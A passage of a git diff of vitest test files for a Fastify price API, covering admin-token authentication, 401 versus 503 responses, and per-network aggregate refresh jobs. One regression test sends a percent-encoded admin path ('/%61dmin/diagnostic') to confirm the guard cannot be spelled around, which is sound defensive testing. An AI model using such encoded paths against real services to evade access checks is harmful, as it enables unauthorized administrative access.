dynamicApp.inject({ - method: 'GET', - url: '/admin/custom-diagnostic', - }) - - expect(unauthRes.statusCode).toBe(401) - expect(unauthRes.json().code).toBe('admin_unauthorized') - - // Calling it with valid admin token should succeed - const authRes = await dynamicApp.inject({ - method: 'GET', - url: '/admin/custom-diagnostic', - headers: { - 'x-admin-token': validAdminToken, - }, - }) - - expect(authRes.statusCode).toBe(200) - expect(authRes.json()).toEqual({ diagnostic: 'ok' }) - await dynamicApp.close() - }) - - it('leaves genuinely public routes accessible without credentials', async () => { - const res = await app.inject({ - method: 'GET', - url: '/status', - }) - - expect(res.statusCode).toBe(200) - expect(res.json()).toEqual({ status: 'ok' }) - }) - - it('allows access to admin routes when valid X-Admin-Token is supplied', async () => { - const res = await app.inject({ - method: 'GET', - url: '/admin/usage', - headers: { - 'x-admin-token': validAdminToken, - }, - }) - - expect(res.statusCode).toBe(200) - }) - - it('guards a percent-encoded spelling of an admin path', async () => { - // A route with no `isAdminAuthorized` call of its own, so the hook is the - // only thing that can refuse the request — the admin plugins' own handlers - // return the identical 401 body, which would make this pass either way. - const bare = Fastify() - await bare.register(registerAdminAuth) - bare.get('/admin/diagnostic', async () => ({ diagnostic: 'ok' })) - await bare.ready() - - // find-my-way percent-decodes before matching, so this reaches the - // /admin/diagnostic handler while req.url is still '/%61dmin/diagnostic'. - // A guard keyed on the raw URL waves it through; isAdminRoute reads the - // matched route pattern, which cannot be spelled around. - const encoded = await bare.inject({ method: 'GET', url: '/%61dmin/diagnostic' }) - expect(encoded.statusCode).toBe(401) - expect(encoded.json().code).toBe('admin_unauthorized') - - // Same route, same guard, with the token: still reachable. - const authorized = await bare.inject({ - method: 'GET', - url: '/%61dmin/diagnostic', - headers: { 'x-admin-token': validAdminToken }, - }) - expect(authorized.statusCode).toBe(200) - - await bare.close() - }) - - it('answers 503, not 401, when ADMIN_TOKEN is unset — from the hook, not the handler', async () => { - // #508 through #514: the hook runs before the handler, so if it collapses - // "no token configured" into "wrong token" the handlers' 503 is - // unreachable and an operator with a perfectly good token is told their - // token is bad. A route with no check of its own isolates the hook. - vi.stubEnv('ADMIN_TOKEN', '') - - const bare = Fastify() - await bare.register(registerAdminAuth) - bare.get('/admin/diagnostic', async () => ({ diagnostic: 'ok' })) - await bare.ready() - - const res = await bare.inject({ - method: 'GET', - url: '/admin/diagnostic', - headers: { 'x-admin-token': validAdminToken }, - }) - - expect(res.statusCode).toBe(503) - expect(res.json().code).toBe('admin_not_configured') - await bare.close() - }) - - it('does not sweep a route that merely starts with the letters "admin" into the admin tier', async () => { - const neighbour = Fastify() - await neighbour.register(registerAdminAuth) - neighbour.get('/administrators', async () => ({ ok: true })) - await neighbour.ready() - - const res = await neighbour.inject({ method: 'GET', url: '/administrators' }) - - expect(res.statusCode).toBe(200) - await neighbour.close() - }) -}) - -/** - * The invariant, rather than a sample of it. - * - * The point of #514 is that an admin endpoint is protected by *where it lives*, - * so the test that matters is over every route the admin plugins register, not - * over the three a test author happened to think of. `onRoute` sees each route - * as it is registered, including its config, which is exactly what the guard - * reads at request time. - * - * It also catches the inverse mistake: a route under /admin that still declares - * `public: true`. That combination used to be how admin routes opted out of the - * API-key hook, and five of them were still written that way — harmless while - * the per-handler `isAdminAuthorized` checks remain, and a hole the moment - * someone removes them on the strength of "the hook handles it now". - */ -describe('Issue #514: every registered /admin route declares itself admin', () => { - it('has no /admin route left on public: true or an undeclared tier', async () => { - const seen: Array<{ method: string; url: string; config: Record }> = [] - - const collector = Fastify() - collector.addHook('onRoute', route => { - const methods = Array.isArray(route.method) ? route.method : [route.method] - for (const method of methods) { - seen.push({ method, url: route.url, config: (route.config ?? {}) as Record }) - } - }) - await collector.register(registerAdminRoutes) - await collector.register(registerUsageRoutes) - await collector.ready() - - const adminRoutes = seen.filter(route => route.url === '/admin' || route.url.startsWith('/admin/')) - expect(adminRoutes.length, 'the admin plugins should register admin routes').toBeGreaterThan(0) - - const undeclared = adminRoutes.filter( - route => route.config['admin'] !== true && route.config['auth'] !== 'admin' - ) - expect( - undeclared.map(route => `${route.method} ${route.url}`), - "every /admin route must declare { admin: true, auth: 'admin' }" - ).toEqual([]) - - const stillPublic = adminRoutes.filter(route => route.config['public'] === true) - expect( - stillPublic.map(route => `${route.method} ${route.url}`), - 'an /admin route must not also declare itself public' - ).toEqual([]) - }) -}) +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' +import Fastify, { type FastifyInstance } from 'fastify' + +vi.mock('../db', () => ({ + prisma: { + apiKey: { + findUnique: vi.fn(), + findMany: vi.fn().mockResolvedValue([]), + create: vi.fn(), + update: vi.fn(), + }, + }, +})) + +import { registerApiKeyAuth, registerAdminAuth } from '../api/auth' +import { registerAdminRoutes } from '../api/admin' +import { registerUsageRoutes } from '../api/usage' + +describe('Issue #514: Structural admin authentication hook', () => { + let app: FastifyInstance + const validAdminToken = 'admin-secret-token-123' + + beforeEach(async () => { + vi.stubEnv('ADMIN_TOKEN', validAdminToken) + vi.stubEnv('REQUIRE_API_KEY', 'true') + + app = Fastify() + await app.register(registerApiKeyAuth) + await app.register(registerAdminAuth) + await app.register(registerAdminRoutes) + await app.register(registerUsageRoutes) + + app.get('/status', { config: { public: true, auth: 'none' } }, async () => ({ status: 'ok' })) + app.get('/price/test', async () => ({ price: 100 })) + + await app.ready() + }) + + afterEach(async () => { + await app.close() + vi.unstubAllEnvs() + }) + + it('rejects unauthenticated requests to /admin/keys with 401 admin_unauthorized', async () => { + const res = await app.inject({ + method: 'POST', + url: '/admin/keys', + payload: { name: 'test-key' }, + }) + + expect(res.statusCode).toBe(401) + const body = res.json() + expect(body.code).toBe('admin_unauthorized') + }) + + it('rejects requests with invalid X-Admin-Token to /admin/keys with 401', async () => { + const res = await app.inject({ + method: 'POST', + url: '/admin/keys', + headers: { + 'x-admin-token': 'wrong-token', + }, + payload: { name: 'test-key' }, + }) + + expect(res.statusCode).toBe(401) + const body = res.json() + expect(body.code).toBe('admin_unauthorized') + }) + + it('rejects unauthenticated requests to /admin/usage with 401', async () => { + const res = await app.inject({ + method: 'GET', + url: '/admin/usage', + }) + + expect(res.statusCode).toBe(401) + const body = res.json() + expect(body.code).toBe('admin_unauthorized') + }) + + it('automatically protects dynamically registered /admin routes by default', async () => { + // Dynamically register a new route under /admin with standard app.get + const dynamicApp = Fastify() + await dynamicApp.register(registerAdminAuth) + dynamicApp.get('/admin/custom-diagnostic', async (_req, reply) => { + return reply.send({ diagnostic: 'ok' }) + }) + await dynamicApp.ready() + + // Calling it without admin token should be rejected structurally by onRequest hook + const unauthRes = await dynamicApp.inject({ + method: 'GET', + url: '/admin/custom-diagnostic', + }) + + expect(unauthRes.statusCode).toBe(401) + expect(unauthRes.json().code).toBe('admin_unauthorized') + + // Calling it with valid admin token should succeed + const authRes = await dynamicApp.inject({ + method: 'GET', + url: '/admin/custom-diagnostic', + headers: { + 'x-admin-token': validAdminToken, + }, + }) + + expect(authRes.statusCode).toBe(200) + expect(authRes.json()).toEqual({ diagnostic: 'ok' }) + await dynamicApp.close() + }) + + it('leaves genuinely public routes accessible without credentials', async () => { + const res = await app.inject({ + method: 'GET', + url: '/status', + }) + + expect(res.statusCode).toBe(200) + expect(res.json()).toEqual({ status: 'ok' }) + }) + + it('allows access to admin routes when valid X-Admin-Token is supplied', async () => { + const res = await app.inject({ + method: 'GET', + url: '/admin/usage', + headers: { + 'x-admin-token': validAdminToken, + }, + }) + + expect(res.statusCode).toBe(200) + }) + + it('guards a percent-encoded spelling of an admin path', async () => { + // A route with no `isAdminAuthorized` call of its own, so the hook is the + // only thing that can refuse the request — the admin plugins' own handlers + // return the identical 401 body, which would make this pass either way. + const bare = Fastify() + await bare.register(registerAdminAuth) + bare.get('/admin/diagnostic', async () => ({ diagnostic: 'ok' })) + await bare.ready() + + // find-my-way percent-decodes before matching, so this reaches the + // /admin/diagnostic handler while req.url is still '/%61dmin/diagnostic'. + // A guard keyed on the raw URL waves it through; isAdminRoute reads the + // matched route pattern, which cannot be spelled around. + const encoded = await bare.inject({ method: 'GET', url: '/%61dmin/diagnostic' }) + expect(encoded.statusCode).toBe(401) + expect(encoded.json().code).toBe('admin_unauthorized') + + // Same route, same guard, with the token: still reachable. + const authorized = await bare.inject({ + method: 'GET', + url: '/%61dmin/diagnostic', + headers: { 'x-admin-token': validAdminToken }, + }) + expect(authorized.statusCode).toBe(200) + + await bare.close() + }) + + it('answers 503, not 401, when ADMIN_TOKEN is unset — from the hook, not the handler', async () => { + // #508 through #514: the hook runs before the handler, so if it collapses + // "no token configured" into "wrong token" the handlers' 503 is + // unreachable and an operator with a perfectly good token is told their + // token is bad. A route with no check of its own isolates the hook. + vi.stubEnv('ADMIN_TOKEN', '') + + const bare = Fastify() + await bare.register(registerAdminAuth) + bare.get('/admin/diagnostic', async () => ({ diagnostic: 'ok' })) + await bare.ready() + + const res = await bare.inject({ + method: 'GET', + url: '/admin/diagnostic', + headers: { 'x-admin-token': validAdminToken }, + }) + + expect(res.statusCode).toBe(503) + expect(res.json().code).toBe('admin_not_configured') + await bare.close() + }) + + it('does not sweep a route that merely starts with the letters "admin" into the admin tier', async () => { + const neighbour = Fastify() + await neighbour.register(registerAdminAuth) + neighbour.get('/administrators', async () => ({ ok: true })) + await neighbour.ready() + + const res = await neighbour.inject({ method: 'GET', url: '/administrators' }) + + expect(res.statusCode).toBe(200) + await neighbour.close() + }) +}) + +/** + * The invariant, rather than a sample of it. + * + * The point of #514 is that an admin endpoint is protected by *where it lives*, + * so the test that matters is over every route the admin plugins register, not + * over the three a test author happened to think of. `onRoute` sees each route + * as it is registered, including its config, which is exactly what the guard + * reads at request time. + * + * It also catches the inverse mistake: a route under /admin that still declares + * `public: true`. That combination used to be how admin routes opted out of the + * API-key hook, and five of them were still written that way — harmless while + * the per-handler `isAdminAuthorized` checks remain, and a hole the moment + * someone removes them on the strength of "the hook handles it now". + */ +describe('Issue #514: every registered /admin route declares itself admin', () => { + it('has no /admin route left on public: true or an undeclared tier', async () => { + const seen: Array<{ method: string; url: string; config: Record }> = [] + + const collector = Fastify() + collector.addHook('onRoute', route => { + const methods = Array.isArray(route.method) ? route.method : [route.method] + for (const method of methods) { + seen.push({ method, url: route.url, config: (route.config ?? {}) as Record }) + } + }) + await collector.register(registerAdminRoutes) + await collector.register(registerUsageRoutes) + await collector.ready() + + const adminRoutes = seen.filter(route => route.url === '/admin' || route.url.startsWith('/admin/')) + expect(adminRoutes.length, 'the admin plugins should register admin routes').toBeGreaterThan(0) + + const undeclared = adminRoutes.filter( + route => route.config['admin'] !== true && route.config['auth'] !== 'admin' + ) + expect( + undeclared.map(route => `${route.method} ${route.url}`), + "every /admin route must declare { admin: true, auth: 'admin' }" + ).toEqual([]) + + const stillPublic = adminRoutes.filter(route => route.config['public'] === true) + expect( + stillPublic.map(route => `${route.method} ${route.url}`), + 'an /admin route must not also declare itself public' + ).toEqual([]) + }) +}) diff --git a/src/__tests__/adminTokenDiagnostics.test.ts b/src/__tests__/adminTokenDiagnostics.test.ts index 86d43d0e..7c3e812c 100644 --- a/src/__tests__/adminTokenDiagnostics.test.ts +++ b/src/__tests__/adminTokenDiagnostics.test.ts @@ -1,144 +1,144 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import Fastify from 'fastify' - -vi.mock('../db', () => ({ - prisma: { - apiKey: { - findUnique: vi.fn(), - findMany: vi.fn(), - create: vi.fn(), - update: vi.fn(), - }, - }, - pgPool: { - query: vi.fn().mockResolvedValue({ rows: [{ last_ledger: 100, last_processed_at: new Date() }] }), - }, -})) - -vi.mock('../redis', () => ({ - redis: { - get: vi.fn(), - multi: vi.fn().mockReturnThis(), - on: vi.fn(), - }, - getCachedPrice: vi.fn(), - setCachedPrice: vi.fn(), -})) - -vi.mock('../x402/metering', () => ({ - getUsageSummary: vi.fn().mockResolvedValue({ keyId: 'k1', dailyCalls: 5 }), - getAllUsageSummaries: vi.fn().mockResolvedValue([]), -})) - -import { registerAdminRoutes } from '../api/admin' -import { registerUsageRoutes } from '../api/usage' -import { registerRESTRoutes } from '../api/rest' -import { registerNetworkSelector } from '../middleware/network' -import { checkAdminAuth, isAdminConfigured } from '../api/auth' - -const ORIGINAL_ADMIN_TOKEN = process.env.ADMIN_TOKEN - -afterEach(() => { - if (ORIGINAL_ADMIN_TOKEN === undefined) { - delete process.env.ADMIN_TOKEN - } else { - process.env.ADMIN_TOKEN = ORIGINAL_ADMIN_TOKEN - } -}) - -function buildApp() { - const app = Fastify({ logger: false }) - app.register(registerNetworkSelector) - app.register(registerAdminRoutes) - app.register(registerUsageRoutes) - app.register(registerRESTRoutes) - return app -} - -describe('ADMIN_TOKEN unset diagnostics and distinguishing responses (#508)', () => { - it('detects when ADMIN_TOKEN is not configured', () => { - delete process.env.ADMIN_TOKEN - expect(isAdminConfigured()).toBe(false) - - process.env.ADMIN_TOKEN = '' - expect(isAdminConfigured()).toBe(false) - - process.env.ADMIN_TOKEN = ' ' - expect(isAdminConfigured()).toBe(false) - - process.env.ADMIN_TOKEN = 'your-admin-token-here' - expect(isAdminConfigured()).toBe(false) - - process.env.ADMIN_TOKEN = 'real-admin-secret-token-12345' - expect(isAdminConfigured()).toBe(true) - }) - - it('returns 503 admin_not_configured for all admin endpoints when ADMIN_TOKEN is unset', async () => { - delete process.env.ADMIN_TOKEN - const app = buildApp() - - const endpoints = [ - { method: 'POST' as const, url: '/admin/keys', payload: { label: 'test' } }, - { method: 'DELETE' as const, url: '/admin/keys/key-123' }, - { method: 'GET' as const, url: '/admin/usage' }, - { method: 'GET' as const, url: '/admin/usage/key-123' }, - ] - - for (const ep of endpoints) { - const res = await app.inject({ - method: ep.method, - url: ep.url, - payload: ep.payload, - headers: { 'x-admin-token': 'any-token' }, - }) - - expect(res.statusCode).toBe(503) - const body = res.json() - expect(body.error).toBe('Service Unavailable') - expect(body.code).toBe('admin_not_configured') - expect(body.message).toContain('Admin surface is disabled') - expect(JSON.stringify(body)).not.toContain('super-secret') - } - }) - - it('distinguishes wrong token (401) from unconfigured server (503)', async () => { - process.env.ADMIN_TOKEN = 'configured-secret-token' - const app = buildApp() - - // 1. Wrong token -> 401 admin_unauthorized - const wrongRes = await app.inject({ - method: 'POST', - url: '/admin/keys', - payload: { label: 'key-1' }, - headers: { 'x-admin-token': 'wrong-token' }, - }) - expect(wrongRes.statusCode).toBe(401) - expect(wrongRes.json().code).toBe('admin_unauthorized') - expect(wrongRes.json().message).toContain('Provide a valid X-Admin-Token header') - - // 2. Unset token -> 503 admin_not_configured - delete process.env.ADMIN_TOKEN - const unsetRes = await app.inject({ - method: 'POST', - url: '/admin/keys', - payload: { label: 'key-1' }, - headers: { 'x-admin-token': 'wrong-token' }, - }) - expect(unsetRes.statusCode).toBe(503) - expect(unsetRes.json().code).toBe('admin_not_configured') - }) - - it('surfaces adminConfigured on /status endpoint', async () => { - delete process.env.ADMIN_TOKEN - const appUnset = buildApp() - const resUnset = await appUnset.inject({ method: 'GET', url: '/status' }) - expect(resUnset.statusCode).toBe(200) - expect(resUnset.json().adminConfigured).toBe(false) - - process.env.ADMIN_TOKEN = 'valid-token' - const appSet = buildApp() - const resSet = await appSet.inject({ method: 'GET', url: '/status' }) - expect(resSet.statusCode).toBe(200) - expect(resSet.json().adminConfigured).toBe(true) - }) -}) +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import Fastify from 'fastify' + +vi.mock('../db', () => ({ + prisma: { + apiKey: { + findUnique: vi.fn(), + findMany: vi.fn(), + create: vi.fn(), + update: vi.fn(), + }, + }, + pgPool: { + query: vi.fn().mockResolvedValue({ rows: [{ last_ledger: 100, last_processed_at: new Date() }] }), + }, +})) + +vi.mock('../redis', () => ({ + redis: { + get: vi.fn(), + multi: vi.fn().mockReturnThis(), + on: vi.fn(), + }, + getCachedPrice: vi.fn(), + setCachedPrice: vi.fn(), +})) + +vi.mock('../x402/metering', () => ({ + getUsageSummary: vi.fn().mockResolvedValue({ keyId: 'k1', dailyCalls: 5 }), + getAllUsageSummaries: vi.fn().mockResolvedValue([]), +})) + +import { registerAdminRoutes } from '../api/admin' +import { registerUsageRoutes } from '../api/usage' +import { registerRESTRoutes } from '../api/rest' +import { registerNetworkSelector } from '../middleware/network' +import { checkAdminAuth, isAdminConfigured } from '../api/auth' + +const ORIGINAL_ADMIN_TOKEN = process.env.ADMIN_TOKEN + +afterEach(() => { + if (ORIGINAL_ADMIN_TOKEN === undefined) { + delete process.env.ADMIN_TOKEN + } else { + process.env.ADMIN_TOKEN = ORIGINAL_ADMIN_TOKEN + } +}) + +function buildApp() { + const app = Fastify({ logger: false }) + app.register(registerNetworkSelector) + app.register(registerAdminRoutes) + app.register(registerUsageRoutes) + app.register(registerRESTRoutes) + return app +} + +describe('ADMIN_TOKEN unset diagnostics and distinguishing responses (#508)', () => { + it('detects when ADMIN_TOKEN is not configured', () => { + delete process.env.ADMIN_TOKEN + expect(isAdminConfigured()).toBe(false) + + process.env.ADMIN_TOKEN = '' + expect(isAdminConfigured()).toBe(false) + + process.env.ADMIN_TOKEN = ' ' + expect(isAdminConfigured()).toBe(false) + + process.env.ADMIN_TOKEN = 'your-admin-token-here' + expect(isAdminConfigured()).toBe(false) + + process.env.ADMIN_TOKEN = 'real-admin-secret-token-12345' + expect(isAdminConfigured()).toBe(true) + }) + + it('returns 503 admin_not_configured for all admin endpoints when ADMIN_TOKEN is unset', async () => { + delete process.env.ADMIN_TOKEN + const app = buildApp() + + const endpoints = [ + { method: 'POST' as const, url: '/admin/keys', payload: { label: 'test' } }, + { method: 'DELETE' as const, url: '/admin/keys/key-123' }, + { method: 'GET' as const, url: '/admin/usage' }, + { method: 'GET' as const, url: '/admin/usage/key-123' }, + ] + + for (const ep of endpoints) { + const res = await app.inject({ + method: ep.method, + url: ep.url, + payload: ep.payload, + headers: { 'x-admin-token': 'any-token' }, + }) + + expect(res.statusCode).toBe(503) + const body = res.json() + expect(body.error).toBe('Service Unavailable') + expect(body.code).toBe('admin_not_configured') + expect(body.message).toContain('Admin surface is disabled') + expect(JSON.stringify(body)).not.toContain('super-secret') + } + }) + + it('distinguishes wrong token (401) from unconfigured server (503)', async () => { + process.env.ADMIN_TOKEN = 'configured-secret-token' + const app = buildApp() + + // 1. Wrong token -> 401 admin_unauthorized + const wrongRes = await app.inject({ + method: 'POST', + url: '/admin/keys', + payload: { label: 'key-1' }, + headers: { 'x-admin-token': 'wrong-token' }, + }) + expect(wrongRes.statusCode).toBe(401) + expect(wrongRes.json().code).toBe('admin_unauthorized') + expect(wrongRes.json().message).toContain('Provide a valid X-Admin-Token header') + + // 2. Unset token -> 503 admin_not_configured + delete process.env.ADMIN_TOKEN + const unsetRes = await app.inject({ + method: 'POST', + url: '/admin/keys', + payload: { label: 'key-1' }, + headers: { 'x-admin-token': 'wrong-token' }, + }) + expect(unsetRes.statusCode).toBe(503) + expect(unsetRes.json().code).toBe('admin_not_configured') + }) + + it('surfaces adminConfigured on /status endpoint', async () => { + delete process.env.ADMIN_TOKEN + const appUnset = buildApp() + const resUnset = await appUnset.inject({ method: 'GET', url: '/status' }) + expect(resUnset.statusCode).toBe(200) + expect(resUnset.json().adminConfigured).toBe(false) + + process.env.ADMIN_TOKEN = 'valid-token' + const appSet = buildApp() + const resSet = await appSet.inject({ method: 'GET', url: '/status' }) + expect(resSet.statusCode).toBe(200) + expect(resSet.json().adminConfigured).toBe(true) + }) +}) diff --git a/src/__tests__/aggregateRefreshNetwork.test.ts b/src/__tests__/aggregateRefreshNetwork.test.ts index 8892cecd..cf925854 100644 --- a/src/__tests__/aggregateRefreshNetwork.test.ts +++ b/src/__tests__/aggregateRefreshNetwork.test.ts @@ -1,173 +1,173 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' - -const { - addedJobs, queueNames, workers, - mockUpsert, mockSetCachedPrice, - mockCalculateVWAP, mockCalculateOHLCV, mockGetAggregatedPrice, mockGetBestRoute, -} = vi.hoisted(() => ({ - addedJobs: [] as Array<{ queue: string; name: string; data: any; opts: any }>, - queueNames: [] as string[], - workers: [] as Array<{ name: string; processor: (job: any) => Promise }>, - mockUpsert: vi.fn(), - mockSetCachedPrice: vi.fn(), - mockCalculateVWAP: vi.fn(), - mockCalculateOHLCV: vi.fn(), - mockGetAggregatedPrice: vi.fn(), - mockGetBestRoute: vi.fn(), -})) - -vi.mock('bullmq', () => { - class Queue { - name: string - constructor(name: string) { - this.name = name - queueNames.push(name) - } - async add(name: string, data: any, opts?: any) { - addedJobs.push({ queue: this.name, name, data, opts }) - return { id: '1' } - } - async close() {} - } - class Worker { - name: string - processor: (job: any) => Promise - constructor(name: string, processor: (job: any) => Promise) { - this.name = name - this.processor = processor - workers.push({ name, processor }) - } - on() {} - async close() {} - } - return { Queue, Worker } -}) - -vi.mock('../db', () => ({ - prisma: { priceAggregate: { upsert: mockUpsert } }, - pgPool: { query: vi.fn() }, -})) - -vi.mock('../redis', () => ({ setCachedPrice: mockSetCachedPrice })) - -vi.mock('../aggregator/vwap', () => ({ - calculateVWAP: mockCalculateVWAP, - calculateOHLCV: mockCalculateOHLCV, - getAggregatedPrice: mockGetAggregatedPrice, -})) - -vi.mock('../aggregator/bestRoute', () => ({ getBestRoute: mockGetBestRoute })) - -const { mainnetPair, testnetPair } = vi.hoisted(() => ({ - mainnetPair: { - pairKey: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM', - assetA: { code: 'USDC', issuer: 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' }, - assetB: { code: 'XLM', issuer: null }, - }, - testnetPair: { - pairKey: 'USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM', - assetA: { code: 'USDC', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, - assetB: { code: 'XLM', issuer: null }, - }, -})) - -vi.mock('../config', () => ({ - // activeNetwork and config.pairs are what the pre-fix worker read. They stay - // here so a regression fails on an assertion rather than at import time. - activeNetwork: 'testnet', - config: { cache: { priceTtl: 10 }, pairs: [testnetPair] }, - getNetworkConfig: (network: string) => ({ - pairs: network === 'mainnet' ? [mainnetPair] : [testnetPair], - }), -})) - -import { createAggregateQueue, startAggregateWorker, scheduleAggregateRefresh } from '../jobs/aggregateRefresh' - -describe('aggregateRefresh runs once per enabled network', () => { - beforeEach(() => { - addedJobs.length = 0 - queueNames.length = 0 - workers.length = 0 - vi.clearAllMocks() - mockCalculateVWAP.mockResolvedValue(0.25) - mockCalculateOHLCV.mockResolvedValue({ open: 0.2, high: 0.3, low: 0.2, close: 0.25, volume: 100, tradeCount: 3 }) - mockGetAggregatedPrice.mockResolvedValue({ price: 0.25 }) - mockGetBestRoute.mockResolvedValue({ route: 'SDEX' }) - mockSetCachedPrice.mockResolvedValue(undefined) - mockUpsert.mockResolvedValue({}) - }) - - it('names the queue and the worker after the network', () => { - createAggregateQueue('testnet') - createAggregateQueue('mainnet') - startAggregateWorker('testnet') - startAggregateWorker('mainnet') - - expect(queueNames).toEqual(['testnet:aggregate-refresh', 'mainnet:aggregate-refresh']) - expect(workers.map(w => w.name)).toEqual(['testnet:aggregate-refresh', 'mainnet:aggregate-refresh']) - }) - - it('schedules that network’s pairs, not the active network’s', async () => { - const mainnetQueue = createAggregateQueue('mainnet') - const testnetQueue = createAggregateQueue('testnet') - - await scheduleAggregateRefresh(mainnetQueue as never, 'mainnet') - await scheduleAggregateRefresh(testnetQueue as never, 'testnet') - - // A repeatable job plus a startup run, per pair. - expect(addedJobs).toHaveLength(4) - expect(addedJobs.every(j => j.data.network === j.queue.split(':')[0])).toBe(true) - - const mainnetJobs = addedJobs.filter(j => j.queue === 'mainnet:aggregate-refresh') - expect(mainnetJobs.map(j => j.data.pairKey)).toEqual([mainnetPair.pairKey, mainnetPair.pairKey]) - expect(mainnetJobs[0].opts).toEqual({ repeat: { every: 60_000 }, jobId: `refresh:mainnet:${mainnetPair.pairKey}` }) - - const testnetJobs = addedJobs.filter(j => j.queue === 'testnet:aggregate-refresh') - expect(testnetJobs.map(j => j.data.pairKey)).toEqual([testnetPair.pairKey, testnetPair.pairKey]) - expect(testnetJobs[0].opts.jobId).toBe(`refresh:testnet:${testnetPair.pairKey}`) - }) - - it('reads, caches and upserts the mainnet worker’s job under mainnet', async () => { - startAggregateWorker('mainnet') - const { processor } = workers[0] - - await processor({ data: { pairKey: mainnetPair.pairKey, pair: mainnetPair, network: 'mainnet' } }) - - expect(mockGetAggregatedPrice).toHaveBeenCalledWith(mainnetPair.pairKey, 'mainnet') - expect(mockGetBestRoute).toHaveBeenCalledWith( - mainnetPair.assetA, mainnetPair.assetB, mainnetPair.pairKey, 1000, 'mainnet' - ) - for (const call of mockCalculateVWAP.mock.calls) { - expect(call).toContain('mainnet') - } - for (const call of mockCalculateOHLCV.mock.calls) { - expect(call).toContain('mainnet') - } - expect(mockSetCachedPrice).toHaveBeenCalledWith( - `mainnet:${mainnetPair.pairKey}`, expect.objectContaining({ network: 'mainnet' }), 10 - ) - - // One bucket per window, every one of them stamped with the worker's network. - expect(mockUpsert).toHaveBeenCalledTimes(4) - expect(mockUpsert.mock.calls.map(([arg]) => arg.where.network_pairKey_window_bucket.window)) - .toEqual(['1m', '5m', '1h', '24h']) - for (const [arg] of mockUpsert.mock.calls) { - expect(arg.where.network_pairKey_window_bucket.network).toBe('mainnet') - expect(arg.where.network_pairKey_window_bucket.pairKey).toBe(mainnetPair.pairKey) - expect(arg.create.network).toBe('mainnet') - } - }) - - it('a testnet worker never writes a mainnet row', async () => { - startAggregateWorker('testnet') - await workers[0].processor({ data: { pairKey: testnetPair.pairKey, pair: testnetPair, network: 'testnet' } }) - - for (const [arg] of mockUpsert.mock.calls) { - expect(arg.where.network_pairKey_window_bucket.network).toBe('testnet') - expect(arg.create.network).toBe('testnet') - } - expect(mockSetCachedPrice).toHaveBeenCalledWith( - `testnet:${testnetPair.pairKey}`, expect.objectContaining({ network: 'testnet' }), 10 - ) - }) -}) +import { describe, it, expect, vi, beforeEach } from 'vitest' + +const { + addedJobs, queueNames, workers, + mockUpsert, mockSetCachedPrice, + mockCalculateVWAP, mockCalculateOHLCV, mockGetAggregatedPrice, mockGetBestRoute, +} = vi.hoisted(() => ({ + addedJobs: [] as Array<{ queue: string; name: string; data: any; opts: any }>, + queueNames: [] as string[], + workers: [] as Array<{ name: string; processor: (job: any) => Promise }>, + mockUpsert: vi.fn(), + mockSetCachedPrice: vi.fn(), + mockCalculateVWAP: vi.fn(), + mockCalculateOHLCV: vi.fn(), + mockGetAggregatedPrice: vi.fn(), + mockGetBestRoute: vi.fn(), +})) + +vi.mock('bullmq', () => { + class Queue { + name: string + constructor(name: string) { + this.name = name + queueNames.push(name) + } + async add(name: string, data: any, opts?: any) { + addedJobs.push({ queue: this.name, name, data, opts }) + return { id: '1' } + } + async close() {} + } + class Worker { + name: string + processor: (job: any) => Promise + constructor(name: string, processor: (job: any) => Promise) { + this.name = name + this.processor = processor + workers.push({ name, processor }) + } + on() {} + async close() {} + } + return { Queue, Worker } +}) + +vi.mock('../db', () => ({ + prisma: { priceAggregate: { upsert: mockUpsert } }, + pgPool: { query: vi.fn() }, +})) + +vi.mock('../redis', () => ({ setCachedPrice: mockSetCachedPrice })) + +vi.mock('../aggregator/vwap', () => ({ + calculateVWAP: mockCalculateVWAP, + calculateOHLCV: mockCalculateOHLCV, + getAggregatedPrice: mockGetAggregatedPrice, +})) + +vi.mock('../aggregator/bestRoute', () => ({ getBestRoute: mockGetBestRoute })) + +const { mainnetPair, testnetPair } = vi.hoisted(() => ({ + mainnetPair: { + pairKey: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM', + assetA: { code: 'USDC', issuer: 'GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN' }, + assetB: { code: 'XLM', issuer: null }, + }, + testnetPair: { + pairKey: 'USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM', + assetA: { code: 'USDC', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, + assetB: { code: 'XLM', issuer: null }, + }, +})) + +vi.mock('../config', () => ({ + // activeNetwork and config.pairs are what the pre-fix worker read. They stay + // here so a regression fails on an assertion rather than at import time. + activeNetwork: 'testnet', + config: { cache: { priceTtl: 10 }, pairs: [testnetPair] }, + getNetworkConfig: (network: string) => ({ + pairs: network === 'mainnet' ? [mainnetPair] : [testnetPair], + }), +})) + +import { createAggregateQueue, startAggregateWorker, scheduleAggregateRefresh } from '../jobs/aggregateRefresh' + +describe('aggregateRefresh runs once per enabled network', () => { + beforeEach(() => { + addedJobs.length = 0 + queueNames.length = 0 + workers.length = 0 + vi.clearAllMocks() + mockCalculateVWAP.mockResolvedValue(0.25) + mockCalculateOHLCV.mockResolvedValue({ open: 0.2, high: 0.3, low: 0.2, close: 0.25, volume: 100, tradeCount: 3 }) + mockGetAggregatedPrice.mockResolvedValue({ price: 0.25 }) + mockGetBestRoute.mockResolvedValue({ route: 'SDEX' }) + mockSetCachedPrice.mockResolvedValue(undefined) + mockUpsert.mockResolvedValue({}) + }) + + it('names the queue and the worker after the network', () => { + createAggregateQueue('testnet') + createAggregateQueue('mainnet') + startAggregateWorker('testnet') + startAggregateWorker('mainnet') + + expect(queueNames).toEqual(['testnet:aggregate-refresh', 